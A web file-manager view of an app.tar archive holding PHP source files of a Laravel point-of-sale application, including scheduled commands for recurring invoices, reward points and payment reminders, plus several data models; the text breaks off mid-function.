File manager - Edit - /home/u816558632/domains/postills.com/public_html/public/app.tar
Back
Console/Commands/RecurringExpense.php 0000644 00000012414 15001146510 0013703 0 ustar 00 <?php namespace App\Console\Commands; use App\Transaction; use App\User; use App\Utils\NotificationUtil; use App\Utils\TransactionUtil; use Illuminate\Console\Command; use Illuminate\Support\Facades\DB; class RecurringExpense extends Command { /** * The name and signature of the console command. * * @var string */ protected $signature = 'pos:generateRecurringExpense'; /** * The console command description. * * @var string */ protected $description = 'Creates recurring expenses if enabled'; /** * Create a new command instance. * * @return void */ public function __construct(TransactionUtil $transactionUtil, NotificationUtil $notificationUtil) { parent::__construct(); $this->transactionUtil = $transactionUtil; $this->notificationUtil = $notificationUtil; } /** * Execute the console command. * * @return mixed */ public function handle() { try { ini_set('max_execution_time', 0); ini_set('memory_limit', '512M'); $transactions = Transaction::where('is_recurring', 1) ->where('type', 'expense') ->whereNull('recur_stopped_on') ->whereNotNull('recur_interval') ->whereNotNull('recur_interval_type') ->with(['recurring_invoices', 'business']) ->get(); foreach ($transactions as $transaction) { date_default_timezone_set($transaction->business->time_zone); //inner try-catch block open try { //Check if no. of generated invoices exceed limit $no_of_recurring_invoice_generated = count($transaction->recurring_invoices); if (! empty($transaction->recur_repetitions) && $no_of_recurring_invoice_generated >= $transaction->recur_repetitions) { continue; } //Check if generate interval is today $last_generated = $no_of_recurring_invoice_generated > 0 ? $transaction->recurring_invoices->max('transaction_date') : $transaction->transaction_date; if (! empty($last_generated)) { $last_generated_string = \Carbon::parse($last_generated)->format('Y-m-d'); $last_generated = \Carbon::parse($last_generated_string); $today = \Carbon::parse(\Carbon::now()->format('Y-m-d')); $diff_from_today = 0; if ($transaction->recur_interval_type == 'days') { $diff_from_today = $last_generated->diffInDays($today); } elseif ($transaction->recur_interval_type == 'months') { //check repeat on date and set last generated date part to reapeat on date if (! empty($transaction->subscription_repeat_on)) { $last_generated_string = $last_generated->format('Y-m'); $last_generated = \Carbon::parse($last_generated_string.'-'.$transaction->subscription_repeat_on); } $diff_from_today = $last_generated->diffInMonths($today); } elseif ($transaction->recur_interval_type == 'years') { $diff_from_today = $last_generated->diffInYears($today); } //if last generated is today or less than today then continue if ($diff_from_today == 0) { continue; } //If difference from today is not multiple of recur_interval then continue if ($diff_from_today % $transaction->recur_interval != 0) { continue; } } DB::beginTransaction(); //Create new recurring expense $recurring_expense = $this->transactionUtil->createRecurringExpense($transaction); //Save database notification $created_by = User::find($transaction->created_by); $this->notificationUtil->recurringExpenseNotification($created_by, $recurring_expense); //if admin is different if ($created_by->id != $transaction->business->owner_id) { $admin = User::find($transaction->business->owner_id); $this->notificationUtil->recurringExpenseNotification($admin, $recurring_expense); } DB::commit(); } catch (\Exception $e) { DB::rollBack(); \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); } //inner try-catch block close } } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); exit($e->getMessage()); } } } Console/Commands/CreateDummyBusiness.php 0000644 00000004356 15001146510 0014354 0 ustar 00 <?php namespace App\Console\Commands; use App\Utils\ModuleUtil; use DB; use Illuminate\Console\Command; use Illuminate\Support\Facades\Artisan; class CreateDummyBusiness extends Command { /** * The name and signature of the console command. * * @var string */ protected $signature = 'pos:dummyBusiness'; /** * The console command description. * * @var string */ protected $description = 'Creates a dummy business in the application'; /** * Create a new command instance. * * @return void */ public function __construct() { parent::__construct(); } /** * Execute the console command. * * @return mixed */ public function handle() { ini_set('max_execution_time', 0); ini_set('memory_limit', '512M'); DB::beginTransaction(); DB::statement('SET FOREIGN_KEY_CHECKS = 0'); DB::statement('SET default_storage_engine=INNODB;'); // DB::statement("DROP TABLE IF EXISTS barcodes, brands, business, business_locations, cash_registers, cash_register_transactions, categories, contacts, currencies, expense_categories, group_sub_taxes, invoice_layouts, invoice_schemes, migrations, model_has_permissions, model_has_roles, password_resets, permissions, printers, products, product_variations, purchase_lines, roles, role_has_permissions, sessions, stock_adjustment_lines, tax_rates, transactions, transaction_payments, transaction_sell_lines, units, users, variations, variation_location_details, variation_templates, variation_value_templates, transaction_sell_lines_purchase_lines"); // DB::statement("SET FOREIGN_KEY_CHECKS = 1"); Artisan::call('cache:clear'); Artisan::call('migrate:fresh', ['--force' => true]); Artisan::call('db:seed'); Artisan::call('db:seed', ['--class' => 'DummyBusinessSeeder']); //Run the purchase & mapping command //Artisan::call('pos:mapPurchaseSell'); //Call modules dummy $moduleUtil = new ModuleUtil(); $moduleUtil->getModuleData('dummy_data'); //if (config('app.env') == 'demo') { // system('chmod 777 -R /var/www/pos/storage'); //} // DB::commit(); } } Console/Commands/RecurringInvoice.php 0000644 00000020030 15001146510 0013661 0 ustar 00 <?php namespace App\Console\Commands; use App\Contact; use App\Transaction; use App\User; use App\Utils\NotificationUtil; use App\Utils\ProductUtil; use App\Utils\TransactionUtil; use Illuminate\Console\Command; use Illuminate\Support\Facades\DB; class RecurringInvoice extends Command { /** * The name and signature of the console command. * * @var string */ protected $signature = 'pos:generateSubscriptionInvoices'; /** * The console command description. * * @var string */ protected $description = 'Creates subscribed invoices if enabled'; /** * Create a new command instance. * * @return void */ public function __construct(TransactionUtil $transactionUtil, ProductUtil $productUtil, NotificationUtil $notificationUtil) { parent::__construct(); $this->transactionUtil = $transactionUtil; $this->productUtil = $productUtil; $this->notificationUtil = $notificationUtil; } /** * Execute the console command. * * @return mixed */ public function handle() { try { ini_set('max_execution_time', 0); ini_set('memory_limit', '512M'); $transactions = Transaction::where('is_recurring', 1) ->where('type', 'sell') ->where('status', 'final') ->whereNull('recur_stopped_on') ->whereNotNull('recur_interval') ->whereNotNull('recur_interval_type') ->with(['recurring_invoices', 'sell_lines', 'business', 'sell_lines.product', ]) ->get(); foreach ($transactions as $transaction) { date_default_timezone_set($transaction->business->time_zone); //inner try-catch block open try { //Check if recurring invoice is enabled if (! empty($transaction->business->enabled_modules) && ! in_array('subscription', $transaction->business->enabled_modules)) { continue; } //Check if no. of generated invoices exceed limit $no_of_recurring_invoice_generated = count($transaction->recurring_invoices); if (! empty($transaction->recur_repetitions) && $no_of_recurring_invoice_generated >= $transaction->recur_repetitions) { continue; } //Check if generate interval is today $last_generated = $no_of_recurring_invoice_generated > 0 ? $transaction->recurring_invoices->max('transaction_date') : $transaction->transaction_date; if (! empty($last_generated)) { $last_generated_string = \Carbon::parse($last_generated)->format('Y-m-d'); $last_generated = \Carbon::parse($last_generated_string); $today = \Carbon::parse(\Carbon::now()->format('Y-m-d')); $diff_from_today = 0; if ($transaction->recur_interval_type == 'days') { $diff_from_today = $last_generated->diffInDays($today); } elseif ($transaction->recur_interval_type == 'months') { //check repeat on date and set last generated date part to reapeat on date if (! empty($transaction->subscription_repeat_on)) { $last_generated_string = $last_generated->format('Y-m'); $last_generated = \Carbon::parse($last_generated_string.'-'.$transaction->subscription_repeat_on); } $diff_from_today = $last_generated->diffInMonths($today); } elseif ($transaction->recur_interval_type == 'years') { $diff_from_today = $last_generated->diffInYears($today); } //if last generated is today or less than today then continue if ($diff_from_today == 0) { continue; } //If difference from today is not multiple of today then continue if ($diff_from_today % $transaction->recur_interval != 0) { continue; } } //Check if sell line quantity available; If not save as draft $save_as_draft = false; $out_of_stock_product = null; foreach ($transaction->sell_lines as $sell_line) { if ($sell_line->product->enable_stock == 1) { $current_stock = $this->productUtil->getCurrentStock($sell_line->variation_id, $transaction->location_id); if ($current_stock < $sell_line->quantity) { $out_of_stock_product = $sell_line->product->name.' ('.$sell_line->product->sku.')'; $save_as_draft = true; break; } } } DB::beginTransaction(); //Create new recurring invoice $recurring_invoice = $this->transactionUtil->createRecurringInvoice($transaction, $save_as_draft); //Update variation location details if status is final if ($recurring_invoice->status == 'final') { foreach ($transaction->sell_lines as $sell_line) { $this->productUtil->decreaseProductQuantity( $sell_line->product_id, $sell_line->variation_id, $transaction->location_id, $sell_line->quantity ); } $business = ['id' => $transaction->business_id, 'accounting_method' => $transaction->business->accounting_method, 'location_id' => $transaction->location_id, ]; $this->transactionUtil->mapPurchaseSell($business, $recurring_invoice->sell_lines, 'purchase'); $contact = Contact::find($recurring_invoice->contact_id); //Auto send notification $this->notificationUtil->autoSendNotification($transaction->business_id, 'new_sale', $recurring_invoice, $contact); } $recurring_invoice->out_of_stock_product = $out_of_stock_product; $recurring_invoice->subscription_no = $transaction->subscription_no; //Save database notification $created_by = User::find($transaction->created_by); $this->notificationUtil->recurringInvoiceNotification($created_by, $recurring_invoice); //if admin is different if ($created_by->id != $transaction->business->owner_id) { $admin = User::find($transaction->business->owner_id); $this->notificationUtil->recurringInvoiceNotification($admin, $recurring_invoice); } DB::commit(); } catch (\Exception $e) { DB::rollBack(); \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); } //inner try-catch block close } } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); exit($e->getMessage()); } } } Console/Commands/MapPurchaseSell.php 0000644 00000011550 15001146510 0013443 0 ustar 00 <?php namespace App\Console\Commands; use App\Business; use App\PurchaseLine; use App\Transaction; use App\Utils\BusinessUtil; use App\Utils\TransactionUtil; use DB; use Illuminate\Console\Command; class MapPurchaseSell extends Command { /** * The name and signature of the console command. * * @var string */ protected $signature = 'pos:mapPurchaseSell'; /** * The console command description. * * @var string */ protected $description = 'Delete existing mapping and Add mapping for purchase & Sell for all transactions of all businesses.'; protected $transactionUtil; /** * Create a new command instance. * * @return void */ public function __construct(TransactionUtil $transactionUtil, BusinessUtil $businessUtil) { parent::__construct(); $this->transactionUtil = $transactionUtil; $this->businessUtil = $businessUtil; } /** * Execute the console command. * * @return mixed */ public function handle() { try { ini_set('max_execution_time', 0); ini_set('memory_limit', '512M'); DB::beginTransaction(); // Refresh database: // ================== // 1. Set variation_location_details as 0. // 2. set variation_location_details as per purchases. // 3. Reset mapping table. // 4. map the purchase to sales. //STEP1 //DB::statement('Update variation_location_details set qty_available = 0'); //Step 2 // $qty_sums = DB::select('Select SUM(pl.quantity) as qty, pl.product_id, pl.variation_id, transactions.location_id from purchase_lines as pl join transactions on pl.transaction_id = transactions.id group by transactions.location_id, pl.product_id, pl.variation_id'); // foreach ($qty_sums as $key => $value) { // DB::statement('update variation_location_details set qty_available = qty_available + ? where variation_id = ? and product_id = ? and location_id = ?', [$value->qty, $value->variation_id, $value->product_id, $value->location_id]); // } //Step 3: Delete existing mapping and sold quantity. DB::table('transaction_sell_lines_purchase_lines')->delete(); PurchaseLine::whereNotNull('created_at') ->update(['quantity_sold' => 0]); //Get all business $businesses = Business::all(); foreach ($businesses as $business) { //Get all transactions $transactions = Transaction::where('business_id', $business->id) ->with('sell_lines') ->where('type', 'sell') ->where('status', 'final') ->orderBy('created_at', 'asc') ->get(); $pos_settings = empty($business->pos_settings) ? $this->businessUtil->defaultPosSettings() : json_decode($business->pos_settings, true); $pos_settings['allow_overselling'] = 1; //Iterate through all transaction and add mapping. First go throught sell_lines having lot number. foreach ($transactions as $transaction) { $business_formatted = ['id' => $business->id, 'accounting_method' => $business->accounting_method, 'location_id' => $transaction->location_id, 'pos_settings' => $pos_settings, ]; foreach ($transaction->sell_lines as $line) { if (! empty($line->lot_no_line_id)) { $this->transactionUtil->mapPurchaseSell($business_formatted, [$line], 'purchase', false); } } } //Then through sell_lines not having lot number foreach ($transactions as $transaction) { $business_formatted = ['id' => $business->id, 'accounting_method' => $business->accounting_method, 'location_id' => $transaction->location_id, 'pos_settings' => $pos_settings, ]; foreach ($transaction->sell_lines as $line) { if (empty($line->lot_no_line_id)) { $this->transactionUtil->mapPurchaseSell($business_formatted, [$line], 'purchase', false); } } } } DB::commit(); } catch (\Exception $e) { DB::rollBack(); \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); exit($e->getMessage()); } } } Console/Commands/UpdateRewardPoints.php 0000644 00000006774 15001146510 0014213 0 ustar 00 <?php namespace App\Console\Commands; use App\Business; use App\Transaction; use App\Utils\NotificationUtil; use App\Utils\ProductUtil; use App\Utils\TransactionUtil; use Illuminate\Console\Command; use Illuminate\Support\Facades\DB; class UpdateRewardPoints extends Command { /** * The name and signature of the console command. * * @var string */ protected $signature = 'pos:updateRewardPoints'; /** * The console command description. * * @var string */ protected $description = 'Checks reward points expiry and updates customer reward points'; /** * Create a new command instance. * * @return void */ public function __construct(TransactionUtil $transactionUtil, ProductUtil $productUtil, NotificationUtil $notificationUtil) { parent::__construct(); $this->transactionUtil = $transactionUtil; $this->productUtil = $productUtil; $this->notificationUtil = $notificationUtil; } /** * Execute the console command. * * @return mixed */ public function handle() { try { ini_set('max_execution_time', 0); ini_set('memory_limit', '512M'); $businesses = Business::get(); DB::beginTransaction(); foreach ($businesses as $business) { if ($business->enable_rp != 1 || empty($business->rp_expiry_period)) { continue; } $transaction_date_to_be_expired = \Carbon::now(); if ($business->rp_expiry_type == 'month') { $transaction_date_to_be_expired = $transaction_date_to_be_expired->subMonths($business->rp_expiry_period); } elseif ($business->rp_expiry_type == 'year') { $transaction_date_to_be_expired = $transaction_date_to_be_expired->subYears($business->rp_expiry_period); } $transactions = Transaction::where('business_id', $business->id) ->where('type', 'sell') ->where('status', 'final') ->whereDate('transaction_date', '<=', $transaction_date_to_be_expired->format('Y-m-d')) ->whereNotNull('rp_earned') ->with(['contact']) ->select( DB::raw('SUM(COALESCE(rp_earned, 0)) as total_rp_expired'), 'contact_id' )->groupBy('contact_id') ->get(); foreach ($transactions as $transaction) { if (! empty($transaction->total_rp_expired) && $transaction->contact->total_rp_used < $transaction->total_rp_expired) { $contact = $transaction->contact; $diff = $transaction->total_rp_expired - $contact->total_rp_used; $contact->total_rp -= $diff; $contact->total_rp_expired = $transaction->total_rp_expired; $contact->save(); } } } DB::commit(); } catch (\Exception $e) { DB::rollBack(); \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); exit($e->getMessage()); } } } Console/Commands/AutoSendPaymentReminder.php 0000644 00000014124 15001146510 0015161 0 ustar 00 <?php namespace App\Console\Commands; use App\Business; use App\Notifications\CustomerNotification; use App\NotificationTemplate; use App\Transaction; use App\Utils\NotificationUtil; use Illuminate\Console\Command; use Notification; class AutoSendPaymentReminder extends Command { /** * The name and signature of the console command. * * @var string */ protected $signature = 'pos:autoSendPaymentReminder'; /** * The console command description. * * @var string */ protected $description = 'Sends payment reminder to customers with overdue sells if auto send is enabled in notification template for payment reminder'; /** * Create a new command instance. * * @return void */ public function __construct(NotificationUtil $notificationUtil) { parent::__construct(); $this->notificationUtil = $notificationUtil; } /** * Execute the console command. * * @return mixed */ public function handle() { try { ini_set('max_execution_time', 0); ini_set('memory_limit', '512M'); $templates = NotificationTemplate::where('template_for', 'payment_reminder') ->where(function ($q) { $q->where('auto_send', 1) ->orWhere('auto_send_sms', 1) ->orWhere('auto_send_wa_notif', 1); }) ->get(); foreach ($templates as $template) { $business = Business::with(['currency'])->where('id', $template->business_id)->first(); $data = [ 'subject' => $template->subject ?? '', 'sms_body' => $template->sms_body ?? '', 'whatsapp_text' => $template->whatsapp_text ?? '', 'email_body' => $template->email_body ?? '', 'template_for' => 'payment_reminder', 'cc' => $template->cc ?? '', 'bcc' => $template->bcc ?? '', 'auto_send' => ! empty($template->auto_send) ? 1 : 0, 'auto_send_sms' => ! empty($template->auto_send_sms) ? 1 : 0, 'auto_send_wa_notif' => ! empty($template->auto_send_wa_notif) ? 1 : 0, ]; $orig_data = [ 'email_body' => $data['email_body'], 'sms_body' => $data['sms_body'], 'subject' => $data['subject'], 'whatsapp_text' => $data['whatsapp_text'], ]; if (! empty($data['auto_send']) || ! empty($data['auto_send_sms'])) { $overdue_sells = Transaction::where('transactions.business_id', $business->id) ->where('transactions.type', 'sell') ->where('transactions.status', 'final') ->leftjoin('activity_log as a', function ($join) { $join->on('a.subject_id', '=', 'transactions.id') ->where('subject_type', \App\Transaction::class) ->where('description', 'payment_reminder'); }) ->whereNull('a.id') ->with(['contact', 'payment_lines']) ->select('transactions.*') ->groupBy('transactions.id') ->OverDue() ->get(); foreach ($overdue_sells as $sell) { $tag_replaced_data = $this->notificationUtil->replaceTags($business, $orig_data, $sell); $data['email_body'] = $tag_replaced_data['email_body']; $data['sms_body'] = $tag_replaced_data['sms_body']; $data['subject'] = $tag_replaced_data['subject']; $data['whatsapp_text'] = $tag_replaced_data['whatsapp_text']; $data['email_settings'] = $business->email_settings ?? []; $data['sms_settings'] = $business->sms_settings ?? []; //send email notification if (! empty($data['auto_send']) && ! empty($sell->contact->email)) { try { Notification::route('mail', [$sell->contact->email]) ->notify(new CustomerNotification($data)); $this->notificationUtil->activityLog($sell, 'payment_reminder', null, ['email' => $sell->contact->email, 'is_automatic' => true], false); } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); } } //send sms notification if (! empty($data['auto_send_sms']) && ! empty($sell->contact->mobile)) { try { $this->notificationUtil->sendSms($data); $this->notificationUtil->activityLog($sell, 'payment_reminder', null, ['mobile' => $sell->contact->mobile, 'is_automatic' => true], false); } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); } } //TODO:: whatsapp notification to be implemented } } } } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); exit($e->getMessage()); } } } Console/Kernel.php 0000644 00000003207 15001146510 0010072 0 ustar 00 <?php namespace App\Console; use Illuminate\Console\Scheduling\Schedule; use Illuminate\Foundation\Console\Kernel as ConsoleKernel; class Kernel extends ConsoleKernel { /** * Define the application's command schedule. * * @param \Illuminate\Console\Scheduling\Schedule $schedule * @return void */ protected function schedule(Schedule $schedule) { $env = config('app.env'); $email = config('mail.username'); if ($env === 'live') { //Scheduling backup, specify the time when the backup will get cleaned & time when it will run. $schedule->command('backup:clean')->daily()->at('01:00'); $schedule->command('backup:run')->daily()->at('01:30'); //Schedule to create recurring invoices $schedule->command('pos:generateSubscriptionInvoices')->dailyAt('23:30'); $schedule->command('pos:updateRewardPoints')->dailyAt('23:45'); $schedule->command('pos:autoSendPaymentReminder')->dailyAt('8:00'); } if ($env === 'demo') { //IMPORTANT NOTE: This command will delete all business details and create dummy business, run only in demo server. $schedule->command('pos:dummyBusiness') ->cron('0 */3 * * *') //->everyThirtyMinutes() ->emailOutputTo($email); } } /** * Register the Closure based commands for the application. * * @return void */ protected function commands() { $this->load(__DIR__.'/Commands'); require base_path('routes/console.php'); } } SellingPriceGroup.php 0000644 00000003120 15001146510 0010637 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\SoftDeletes; class SellingPriceGroup extends Model { use SoftDeletes; /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; public function scopeActive($query) { return $query->where('selling_price_groups.is_active', 1); } /** * Return list of selling price groups * * @param int $business_id * @return array */ public static function forDropdown($business_id, $with_default = true) { $price_groups = SellingPriceGroup::where('business_id', $business_id) ->active() ->get(); $dropdown = []; if ($with_default && auth()->user()->can('access_default_selling_price')) { $dropdown[0] = __('lang_v1.default_selling_price'); } foreach ($price_groups as $price_group) { if (auth()->user()->can('selling_price_group.'.$price_group->id)) { $dropdown[$price_group->id] = $price_group->name; } } return $dropdown; } /** * Counts total number of selling price groups * * @param int $business_id * @return array */ public static function countSellingPriceGroups($business_id) { $count = SellingPriceGroup::where('business_id', $business_id) ->active() ->count(); return $count; } } Category.php 0000644 00000005661 15001146510 0007033 0 ustar 00 <?php namespace App; use DB; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\SoftDeletes; class Category extends Model { use SoftDeletes; /** * The attributes that should be mutated to dates. * * @var array */ /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; /** * Combines Category and sub-category * * @param int $business_id * @return array */ public static function catAndSubCategories($business_id) { $all_categories = Category::where('business_id', $business_id) ->where('category_type', 'product') ->orderBy('name', 'asc') ->get() ->toArray(); if (empty($all_categories)) { return []; } $categories = []; $sub_categories = []; foreach ($all_categories as $category) { if ($category['parent_id'] == 0) { $categories[] = $category; } else { $sub_categories[] = $category; } } $sub_cat_by_parent = []; if (! empty($sub_categories)) { foreach ($sub_categories as $sub_category) { if (empty($sub_cat_by_parent[$sub_category['parent_id']])) { $sub_cat_by_parent[$sub_category['parent_id']] = []; } $sub_cat_by_parent[$sub_category['parent_id']][] = $sub_category; } } foreach ($categories as $key => $value) { if (! empty($sub_cat_by_parent[$value['id']])) { $categories[$key]['sub_categories'] = $sub_cat_by_parent[$value['id']]; } } return $categories; } /** * Category Dropdown * * @param int $business_id * @param string $type category type * @return array */ public static function forDropdown($business_id, $type) { $categories = Category::where('business_id', $business_id) ->where('parent_id', 0) ->where('category_type', $type) ->select(DB::raw('IF(short_code IS NOT NULL, CONCAT(name, "-", short_code), name) as name'), 'id') ->orderBy('name', 'asc') ->get(); $dropdown = $categories->pluck('name', 'id'); return $dropdown; } public function sub_categories() { return $this->hasMany(\App\Category::class, 'parent_id'); } /** * Scope a query to only include main categories. * * @param \Illuminate\Database\Eloquent\Builder $query * @return \Illuminate\Database\Eloquent\Builder */ public function scopeOnlyParent($query) { return $query->where('parent_id', 0); } } ProductRack.php 0000644 00000000341 15001146510 0007465 0 ustar 00 <?php namespace App; use Illuminate\Database\Eloquent\Model; class ProductRack extends Model { /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; } User.php 0000644 00000021622 15001146510 0006167 0 ustar 00 <?php namespace App; use DB; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\SoftDeletes; use Illuminate\Foundation\Auth\User as Authenticatable; use Illuminate\Notifications\Notifiable; use Illuminate\Support\Facades\Hash; use Laravel\Passport\HasApiTokens; use Spatie\Permission\Traits\HasRoles; class User extends Authenticatable { use HasFactory; use Notifiable; use SoftDeletes; use HasRoles; use HasApiTokens; /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; /** * The attributes that should be hidden for arrays. * * @var array */ protected $hidden = [ 'password', 'remember_token', ]; // change api guard to web protected $guard_name = 'web'; /** * The attributes that should be mutated to dates. * * @var array */ /** * Get the business that owns the user. */ public function business() { return $this->belongsTo(\App\Business::class); } public function scopeUser($query) { return $query->where('users.user_type', 'user'); } /** * The contact the user has access to. * Applied only when selected_contacts is true for a user in * users table */ public function contactAccess() { return $this->belongsToMany(\App\Contact::class, 'user_contact_access'); } /** * Get all of the users's notes & documents. */ public function documentsAndnote() { return $this->morphMany(\App\DocumentAndNote::class, 'notable'); } /** * Creates a new user based on the input provided. * * @return object */ public static function create_user($details) { $user = User::create([ 'surname' => $details['surname'], 'first_name' => $details['first_name'], 'last_name' => $details['last_name'], 'username' => $details['username'], 'email' => $details['email'], 'password' => Hash::make($details['password']), 'language' => ! empty($details['language']) ? $details['language'] : 'en', ]); return $user; } /** * Gives locations permitted for the logged in user * * @param: int $business_id * * @return string or array */ public function permitted_locations($business_id = null) { $user = $this; if ($user->can('access_all_locations')) { return 'all'; } else { $business_id = ! is_null($business_id) ? $business_id : null; if (empty($business_id) && auth()->check()) { $business_id = auth()->user()->business_id; } if (empty($business_id) && session()->has('business')) { $business_id = session('business.id'); } $permitted_locations = []; $all_locations = BusinessLocation::where('business_id', $business_id)->get(); $permissions = $user->permissions->pluck('name')->all(); foreach ($all_locations as $location) { if (in_array('location.'.$location->id, $permissions)) { $permitted_locations[] = $location->id; } } return $permitted_locations; } } /** * Returns if a user can access the input location * * @param: int $location_id * * @return bool */ public static function can_access_this_location($location_id, $business_id = null) { $permitted_locations = auth()->user()->permitted_locations($business_id); if ($permitted_locations == 'all' || in_array($location_id, $permitted_locations)) { return true; } return false; } public function scopeOnlyPermittedLocations($query) { $user = auth()->user(); $permitted_locations = $user->permitted_locations(); $is_admin = $user->hasAnyPermission('Admin#'.$user->business_id); if ($permitted_locations != 'all' && ! $user->can('superadmin') && ! $is_admin) { $permissions = ['access_all_locations']; foreach ($permitted_locations as $location_id) { $permissions[] = 'location.'.$location_id; } return $query->whereHas('permissions', function ($q) use ($permissions) { $q->whereIn('permissions.name', $permissions); }); } else { return $query; } } /** * Return list of users dropdown for a business * * @param $business_id int * @param $prepend_none = true (boolean) * @param $include_commission_agents = false (boolean) * @return array users */ public static function forDropdown($business_id, $prepend_none = true, $include_commission_agents = false, $prepend_all = false, $check_location_permission = false) { $query = User::where('business_id', $business_id) ->user(); if (! $include_commission_agents) { $query->where('is_cmmsn_agnt', 0); } if ($check_location_permission) { $query->onlyPermittedLocations(); } $all_users = $query->select('id', DB::raw("CONCAT(COALESCE(surname, ''),' ',COALESCE(first_name, ''),' ',COALESCE(last_name,'')) as full_name"))->get(); $users = $all_users->pluck('full_name', 'id'); //Prepend none if ($prepend_none) { $users = $users->prepend(__('lang_v1.none'), ''); } //Prepend all if ($prepend_all) { $users = $users->prepend(__('lang_v1.all'), ''); } return $users; } /** * Return list of sales commission agents dropdown for a business * * @param $business_id int * @param $prepend_none = true (boolean) * @return array users */ public static function saleCommissionAgentsDropdown($business_id, $prepend_none = true) { $all_cmmsn_agnts = User::where('business_id', $business_id) ->where('is_cmmsn_agnt', 1) ->select('id', DB::raw("CONCAT(COALESCE(surname, ''),' ',COALESCE(first_name, ''),' ',COALESCE(last_name,'')) as full_name")); $users = $all_cmmsn_agnts->pluck('full_name', 'id'); //Prepend none if ($prepend_none) { $users = $users->prepend(__('lang_v1.none'), ''); } return $users; } /** * Return list of users dropdown for a business * * @param $business_id int * @param $prepend_none = true (boolean) * @param $prepend_all = false (boolean) * @return array users */ public static function allUsersDropdown($business_id, $prepend_none = true, $prepend_all = false) { $all_users = User::where('business_id', $business_id) ->select('id', DB::raw("CONCAT(COALESCE(surname, ''),' ',COALESCE(first_name, ''),' ',COALESCE(last_name,'')) as full_name")); $users = $all_users->pluck('full_name', 'id'); //Prepend none if ($prepend_none) { $users = $users->prepend(__('lang_v1.none'), ''); } //Prepend all if ($prepend_all) { $users = $users->prepend(__('lang_v1.all'), ''); } return $users; } /** * Get the user's full name. * * @return string */ public function getUserFullNameAttribute() { return "{$this->surname} {$this->first_name} {$this->last_name}"; } /** * Return true/false based on selected_contact access * * @return bool */ public static function isSelectedContacts($user_id) { $user = User::findOrFail($user_id); return (bool) $user->selected_contacts; } public function getRoleNameAttribute() { $role_name_array = $this->getRoleNames(); $role_name = ! empty($role_name_array[0]) ? explode('#', $role_name_array[0])[0] : ''; return $role_name; } public function media() { return $this->morphOne(\App\Media::class, 'model'); } /** * Find the user instance for the given username. * * @param string $username * @return \App\User */ public function findForPassport($username) { return $this->where('username', $username)->first(); } /** * Get the contact for the user. */ public function contact() { return $this->belongsTo(\Modules\Crm\Entities\CrmContact::class, 'crm_contact_id'); } /** * Get the products image. * * @return string */ public function getImageUrlAttribute() { if (isset($this->media->display_url)) { $img_src = $this->media->display_url; } else { $img_src = 'https://ui-avatars.com/api/?name='.$this->first_name; } return $img_src; } } BusinessLocation.php 0000644 00000012655 15001146510 0010543 0 ustar 00 <?php namespace App; use DB; use Illuminate\Database\Eloquent\Model; class BusinessLocation extends Model { /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; /** * The attributes that should be cast to native types. * * @var array */ protected $casts = [ 'featured_products' => 'array', ]; /** * Return list of locations for a business * * @param int $business_id * @param bool $show_all = false * @param array $receipt_printer_type_attribute = * @return array */ public static function forDropdown($business_id, $show_all = false, $receipt_printer_type_attribute = false, $append_id = true, $check_permission = true) { $query = BusinessLocation::where('business_id', $business_id)->Active(); if ($check_permission) { $permitted_locations = auth()->user()->permitted_locations(); if ($permitted_locations != 'all') { $query->whereIn('id', $permitted_locations); } } if ($append_id) { $query->select( DB::raw("IF(location_id IS NULL OR location_id='', name, CONCAT(name, ' (', location_id, ')')) AS name"), 'id', 'receipt_printer_type', 'selling_price_group_id', 'default_payment_accounts', 'invoice_scheme_id', 'invoice_layout_id', 'sale_invoice_scheme_id' ); } $result = $query->get(); $locations = $result->pluck('name', 'id'); $price_groups = SellingPriceGroup::forDropdown($business_id); if ($show_all) { $locations->prepend(__('report.all_locations'), ''); } if ($receipt_printer_type_attribute) { $attributes = collect($result)->mapWithKeys(function ($item) use ($price_groups) { $default_payment_accounts = json_decode($item->default_payment_accounts, true); $default_payment_accounts['advance'] = [ 'is_enabled' => 1, 'account' => null, ]; return [$item->id => [ 'data-receipt_printer_type' => $item->receipt_printer_type, 'data-default_price_group' => ! empty($item->selling_price_group_id) && array_key_exists($item->selling_price_group_id, $price_groups) ? $item->selling_price_group_id : null, 'data-default_payment_accounts' => json_encode($default_payment_accounts), 'data-default_sale_invoice_scheme_id' => $item->sale_invoice_scheme_id, 'data-default_invoice_scheme_id' => $item->invoice_scheme_id, 'data-default_invoice_layout_id' => $item->invoice_layout_id, ], ]; })->all(); return ['locations' => $locations, 'attributes' => $attributes]; } else { return $locations; } } public function price_group() { return $this->belongsTo(\App\SellingPriceGroup::class, 'selling_price_group_id'); } /** * Scope a query to only include active location. * * @param \Illuminate\Database\Eloquent\Builder $query * @return \Illuminate\Database\Eloquent\Builder */ public function scopeActive($query) { return $query->where('is_active', 1); } /** * Get the featured products. * * @return array/object */ public function getFeaturedProducts($is_array = false, $check_location = true) { if (empty($this->featured_products)) { return []; } $query = Variation::whereIn('variations.id', $this->featured_products) ->join('product_locations as pl', 'pl.product_id', '=', 'variations.product_id') ->join('products as p', 'p.id', '=', 'variations.product_id') ->where('p.not_for_selling', 0) ->with(['product_variation', 'product', 'media']) ->select('variations.*'); if ($check_location) { $query->where('pl.location_id', $this->id); } $featured_products = 